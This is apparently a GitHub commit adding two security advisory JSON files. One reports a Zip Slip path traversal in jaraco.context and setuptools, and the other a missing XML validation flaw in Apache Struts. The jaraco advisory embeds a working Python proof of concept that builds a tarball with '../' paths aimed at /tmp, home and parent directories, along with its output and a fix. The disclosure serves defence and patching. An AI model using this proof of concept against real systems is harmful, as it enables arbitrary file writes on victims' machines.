Skip to content

Commit ae92a7c

Browse files
1 parent 0158d0e commit ae92a7c

File tree

3 files changed

+200
-40
lines changed

3 files changed

+200
-40
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-58pv-8j8x-9vj2",
4+
"modified": "2026-01-13T21:48:17Z",
5+
"published": "2026-01-13T21:48:17Z",
6+
"aliases": [],
7+
"summary": "jaraco.context Has a Path Traversal Vulnerability",
8+
"details": "### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n<img width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" />\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball():\n tar_data = io.BytesIO()\n with tarfile.open(fileobj=tar_data, mode='w') as tar:\n # Create a malicious file path with traversal sequences\n malicious_files = [\n # Attempt 1: Simple traversal to /tmp\n {\n 'path': 'dummy_dir/../../tmp/pwned_by_zipslip.txt',\n 'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n 'name': 'pwned_via_tmp'\n },\n # Attempt 2: Try to write to home directory\n {\n 'path': 'dummy_dir/../../../../home/pwned_home.txt',\n 'content': b'[ZIPSLIP] Attempted write to home directory',\n 'name': 'pwned_via_home'\n },\n # Attempt 3: Try to write to current directory parent\n {\n 'path': 'dummy_dir/../escaped.txt',\n 'content': b'[ZIPSLIP] File in parent directory!',\n 'name': 'pwned_escaped'\n },\n # Attempt 4: Legitimate file for comparison\n {\n 'path': 'dummy_dir/legitimate_file.txt',\n 'content': b'This file stays in target directory',\n 'name': 'legitimate'\n }\n ]\n for file_info in malicious_files:\n content = file_info['content']\n tarinfo = tarfile.TarInfo(name=file_info['path'])\n tarinfo.size = len(content)\n tar.addfile(tarinfo, io.BytesIO(content))\n\n tar_data.seek(0)\n return tar_data\n\n\ndef exploit_zipslip():\n print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\")\n\n # Create temporary directory for extraction\n temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\")\n target_dir = os.path.join(temp_base, \"extraction_target\")\n\n try:\n os.mkdir(target_dir)\n print(f\"[+] Created target extraction directory: {target_dir}\")\n\n # Create malicious tarball\n print(\"[*] Creating malicious tar archive...\")\n tar_data = create_malicious_tarball()\n\n try:\n with tarfile.open(fileobj=tar_data, mode='r') as tf:\n for member in tf:\n # Apply the ACTUAL vulnerable function from setuptools\n processed_member = strip_first_component(member, target_dir)\n print(f\"[*] Extracting: {member.name:40} -> {processed_member.name}\")\n \n # Extract to target directory\n try:\n tf.extract(processed_member, path=target_dir)\n print(f\" ✓ Extracted successfully\")\n except (PermissionError, FileNotFoundError) as e:\n print(f\" ! {type(e).__name__}: Path traversal ATTEMPTED\")\n except Exception as e:\n print(f\"[!] Extraction raised exception: {type(e).__name__}: {e}\")\n \n # Check results\n print(\"[*] Checking for extracted files...\")\n\n # Check target directory\n print(f\"[*] Files in target directory ({target_dir}):\")\n if os.path.exists(target_dir):\n for root, _, files in os.walk(target_dir):\n level = root.replace(target_dir, '').count(os.sep)\n indent = ' ' * 2 * level\n print(f\"{indent}{os.path.basename(root)}/\")\n subindent = ' ' * 2 * (level + 1)\n for file in files:\n filepath = os.path.join(root, file)\n try:\n with open(filepath, 'r') as f:\n content = f.read()[:50]\n print(f\"{subindent}{file}\")\n print(f\"{subindent} └─ {content}...\")\n except:\n print(f\"{subindent}{file} (binary)\")\n else:\n print(f\"[!] Target directory not found!\")\n \n print()\n print(\"[*] Checking for traversal attempts...\")\n print()\n\n # Check if files escaped\n traversal_attempts = [\n (\"/tmp/pwned_by_zipslip.txt\", \"Escape to /tmp\"),\n (os.path.expanduser(\"~/pwned_home.txt\"), \"Escape to home\"),\n (os.path.join(temp_base, \"escaped.txt\"), \"Escape to parent\"),\n ]\n\n escaped = False\n for check_path, description in traversal_attempts:\n if os.path.exists(check_path):\n print(f\"[+] Path Traversal Confirmed: {description}\")\n print(f\" File created at: {check_path}\")\n try:\n with open(check_path, 'r') as f:\n content = f.read()\n print(f\" Content: {content}\")\n print(f\" Removing: {check_path}\")\n os.remove(check_path)\n except Exception as e:\n print(f\" Error reading: {e}\")\n escaped = True\n else:\n print(f\"[-] OK: {description} - No escape detected\")\n\n if escaped:\n print(\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\")\n else:\n print(\"[-] No path traversal detected (mitigation in place)\")\n\n finally:\n # Cleanup\n print()\n print(f\"[*] Cleaning up: {temp_base}\")\n try:\n shutil.rmtree(temp_base)\n except Exception as e:\n print(f\"[!] Cleanup error: {e}\")\n\n\ndef check_python_version():\n print(f\"[+] Python version: {sys.version}\")\n # Python 3.11.4+ added DEFAULT_FILTER\n if hasattr(tarfile, 'DEFAULT_FILTER'):\n print(\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\")\n else:\n print(\"[!] Python does not have DEFAULT_FILTER (older version)\") \n print()\n\n\nif __name__ == \"__main__\":\n check_python_version()\n exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt -> ../../tmp/pwned_by_zipslip.txt \n ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt -> ../../../../home/pwned_home.txt \n ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt -> ../escaped.txt \n ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt -> legitimate_file.txt \n ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n legitimate_file.txt \n └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n Content: [ZIPSLIP] File in parent directory! \n Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n raise ValueError(f\"Attempted path traversal detected: {member.name}\")\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "jaraco.context"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "5.2.0"
27+
},
28+
{
29+
"fixed": "6.1.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/jaraco/jaraco.context"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-22"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-01-13T21:48:17Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qcfc-hmrc-59x7",
4+
"modified": "2026-01-13T21:49:00Z",
5+
"published": "2026-01-11T15:31:59Z",
6+
"aliases": [
7+
"CVE-2025-68493"
8+
],
9+
"summary": "Apache Struts 2 is Missing XML Validation",
10+
"details": "Missing XML Validation vulnerability in Apache Struts, Apache Struts.\n\nThis issue affects Apache Struts: from 2.0.0 before 2.2.1; Apache Struts: from 2.2.1 through 6.1.0.\n\nUsers are recommended to upgrade to version 6.1.1, which fixes the issue.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.struts:struts2-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.0.0"
29+
},
30+
{
31+
"last_affected": "2.3.37"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Maven",
40+
"name": "org.apache.struts:struts2-core"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "2.5.0"
48+
},
49+
{
50+
"last_affected": "2.5.33"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Maven",
59+
"name": "org.apache.struts:struts2-core"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "6.0.0"
67+
},
68+
{
69+
"fixed": "6.1.1"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "Maven",
78+
"name": "com.opensymphony:xwork"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "2.0.0"
86+
}
87+
]
88+
}
89+
],
90+
"database_specific": {
91+
"last_known_affected_version_range": "< 2.2.1"
92+
}
93+
},
94+
{
95+
"package": {
96+
"ecosystem": "Maven",
97+
"name": "org.apache.struts.xwork:xwork-core"
98+
},
99+
"ranges": [
100+
{
101+
"type": "ECOSYSTEM",
102+
"events": [
103+
{
104+
"introduced": "2.2.1"
105+
}
106+
]
107+
}
108+
],
109+
"database_specific": {
110+
"last_known_affected_version_range": "< 6.1.1"
111+
}
112+
}
113+
],
114+
"references": [
115+
{
116+
"type": "ADVISORY",
117+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68493"
118+
},
119+
{
120+
"type": "WEB",
121+
"url": "https://cwiki.apache.org/confluence/display/WW/S2-069"
122+
},
123+
{
124+
"type": "PACKAGE",
125+
"url": "https://github.com/apache/struts"
126+
},
127+
{
128+
"type": "WEB",
129+
"url": "http://www.openwall.com/lists/oss-security/2026/01/11/2"
130+
}
131+
],
132+
"database_specific": {
133+
"cwe_ids": [
134+
"CWE-112"
135+
],
136+
"severity": "HIGH",
137+
"github_reviewed": true,
138+
"github_reviewed_at": "2026-01-13T21:49:00Z",
139+
"nvd_published_at": "2026-01-11T13:15:45Z"
140+
}
141+
}

advisories/unreviewed/2026/01/GHSA-qcfc-hmrc-59x7/GHSA-qcfc-hmrc-59x7.json

Lines changed: 0 additions & 40 deletions
This file was deleted.

0 commit comments

Comments
 (0)